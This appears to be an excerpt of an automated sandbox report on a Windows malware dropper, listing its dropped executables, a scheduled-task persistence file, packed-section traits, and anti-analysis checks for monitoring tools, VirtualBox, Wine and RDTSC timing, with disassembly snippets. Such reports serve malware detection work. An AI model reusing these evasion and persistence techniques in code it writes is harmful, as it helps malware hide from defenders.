Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Unpacked PE file: 5.2.ECPOM47708SKW2N887NP33WQCGSG.exe.760000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ysynnfor:EW;lfcxdbpw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: real checksum: 0x31b7aa should be: 0x31e500
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: real checksum: 0x4ed61f should be: 0x4e9ce4
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x31b7aa should be: 0x31e500
Source: o0cabS0OQn.exe	Static PE information: real checksum: 0x1d3abe should be: 0x1cdb38

Source: o0cabS0OQn.exe	Static PE information: section name:
Source: o0cabS0OQn.exe	Static PE information: section name: .idata
Source: o0cabS0OQn.exe	Static PE information: section name:
Source: o0cabS0OQn.exe	Static PE information: section name: ebdcmeyg
Source: o0cabS0OQn.exe	Static PE information: section name: cwlbrkyq
Source: o0cabS0OQn.exe	Static PE information: section name: .taggant
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name:
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name: .idata
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name: jvdduhrr
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name: adcgyevy
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name: .taggant
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name:
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: .idata
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: ysynnfor
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: lfcxdbpw
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: ysynnfor
Source: skotes.exe.5.dr	Static PE information: section name: lfcxdbpw
Source: skotes.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631612 push 60056326h; ret	0_3_05631635
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_056318BD push 58056327h; iretd	0_3_056318C9
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05630F98 pushad ; ret	0_3_056310B1
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_05631E07 pushad ; ret	0_3_05631F85

Source: o0cabS0OQn.exe	Static PE information: section name: entropy: 7.982518757512326
Source: o0cabS0OQn.exe	Static PE information: section name: ebdcmeyg entropy: 7.953945438795433
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: entropy: 6.9553451139803135
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 6.9553451139803135

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File created: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File created: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_5-10736
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_6-9705

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 679082 second address: 679088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F39A9 second address: 7F39BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F80h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7EA2EB second address: 7EA2EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F2B02 second address: 7F2B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F2B08 second address: 7F2B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F2EA7 second address: 7F2EC5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E24C29F76h 0x00000008 jmp 00007F4E24C29F7Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F4E24C29F76h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F301F second address: 7F3023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F32D5 second address: 7F32D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F32D9 second address: 7F32F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4E24C349E0h 0x0000000f jmp 00007F4E24C349DAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F61C6 second address: 7F61D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4E24C29F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F61D0 second address: 7F621E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 42775320h 0x0000000f push ecx 0x00000010 call 00007F4E24C349DDh 0x00000015 mov dx, 8111h 0x00000019 pop edx 0x0000001a pop edx 0x0000001b or dword ptr [ebp+122D1B4Fh], edi 0x00000021 lea ebx, dword ptr [ebp+12450F32h] 0x00000027 and edx, dword ptr [ebp+122D2B87h] 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F4E24C349DEh 0x00000033 push eax 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 jne 00007F4E24C349D6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F631A second address: 7F631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7F631E second address: 7F634D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4E24C349E9h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F4E24C349D8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E1995 second address: 7E19A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 814CF6 second address: 814CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 814CFA second address: 814CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 814E49 second address: 814E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81519E second address: 8151A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8151A2 second address: 8151B2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E24C349D6h 0x00000008 jng 00007F4E24C349D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8152EC second address: 8152F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8152F0 second address: 8152F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8152F6 second address: 815301 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F4E24C29F76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 815426 second address: 815436 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F4E24C349D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 815436 second address: 815451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 815451 second address: 815455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 815455 second address: 815467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F7Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81638B second address: 81638F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81638F second address: 816393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 816393 second address: 8163B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349E2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F4E24C349D8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81A40C second address: 81A410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81A410 second address: 81A414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81A686 second address: 81A68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81A68D second address: 81A6A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81A6A0 second address: 81A6A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81C5B2 second address: 81C5F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E24C349E0h 0x00000010 jmp 00007F4E24C349E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 81C5F0 second address: 81C600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4E24C29F7Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8222F8 second address: 822319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F4E24C349E9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7EBD44 second address: 7EBD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 821EFE second address: 821F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349E9h 0x00000009 jmp 00007F4E24C349E5h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F4E24C349D6h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82208A second address: 82208E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82208E second address: 822092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 825D9A second address: 825DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F86h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 826637 second address: 82664C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82664C second address: 826650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
